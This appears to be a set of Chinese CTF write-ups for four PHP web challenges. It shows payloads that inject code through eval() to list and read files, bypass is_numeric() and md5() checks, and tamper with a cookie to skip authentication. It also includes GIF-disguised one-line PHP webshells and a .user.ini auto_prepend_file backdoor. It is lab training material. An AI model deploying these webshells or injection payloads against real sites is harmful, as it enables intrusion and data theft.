[RoarCTF 2019]Easy Calc1
尝试输入一些字符
查看源码 ,发现calc.php文件并访问
如果 'num'
参数存在,则将其赋值给变量 $str
。定义黑名单数组 $blacklist
,其中包含一些特殊字符以及正则表达式元字符。对 $blacklist
中的每个元素,使用 preg_match()
函数检查 $str
是否包含该元素,如果包含,则输出 "what are you want to do?"
字符串并结束进程。如果 $str
中不包含任何黑名单元素,则使用 eval()
函数将 $str
当作 PHP 代码执行,并将结果输出。
/calc.php? num=2;var_dump(scandir(chr(47)))
其中var_dump()用来打印;
scandir()用来获扫描目录下文件;
chr(47)是“/”的ASCII编码。
读取f1agg文件
calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
其中:
file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法;
chr(47)是/的ASCII编码;
chr(102)是f的ASCII编码;
chr(49)是1的ASCII编码;
chr(97)是a的ASCII编码;
chr(103)是g的ASCII编码。
[极客大挑战 2019]BuyFlag1
拿到这个页面不知道要干什么,先查看源码,提示啥都没有
找到右上角的菜单点开
提示我们要买flag,而且还不便宜
查看源码
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
变量password
使用POST
的传参方式进行传参,不难看出来,只要$password == 404
为真,那么,就可以绕过。函数is_numeric()
判断其中的参数是数字还是其他,如果是数字则判断为真,否则为假。
那么password=404+一个字母
payload:password=404a&money=100000000
但是传参后并没有回显,bp抓包
Cookie: user=0将其改为1
密码正确了,但是传入的数字太长了,那就进行数组绕过,绕过这串长的数字
知识点
1.通过修改cookie
绕过身份认证机制;
2.通过查看PHP
的版本,查看漏洞利用点;
3.is_number()函数和strcmp()函数的利用
[MRCTF2020]Ez_bypass1
查看源码
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
源码中要对id和gg进行md5加密,要先绕过md5(),由于md5无法对数组进行加密,所以payload:/?id[]=1&gg[]=2
后面有if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
要绕过is_numeric()函数,那么passwd不能全是数字,在后面加上一个字母,前提是处理后
passwd要等于1234567
最后的payload:/?id[]=1&gg[]=2
passwd=1234567a
知识点:
- GET传参
- POST传参
- md5()绕过
- is_numeric()函数绕过
[SUCTF 2019]CheckIn1
要上传图片
以图片的形式上传一句话木马
GIF89a
<?php eval(@$_POST['1234']);?>
显示后缀非法,不能用php,那就换成其他的后缀,但是换了之后也还是非法后缀,直到直接上传jpg之后
回显<? in contents!
说明不能有<?
那这里就清晰了,修改一下一句话木马使得一句话木马没有<?
GIF89a?
<script language='php'>eval($_POST['1234']);<scirpt>
但是到后面我就搞不懂要怎么操作了,后面的知识点是.user.ini文件构成的PHP后门
具体的思路和流程是上传.user.ini文件,这个文件必须在一句话木马前上传,然后再上传一句话木马,上传完成之后可以用蚁剑连接
.user.ini文件
GIF89a?
auto_prepend_file=1.jpg
解题
先上传.user.ini文件,上传完成后就上传一句话木马
GIF89a?
<script language='php'>eval($_POST['abc']);<scirpt>
连接成功后就查看文件找flag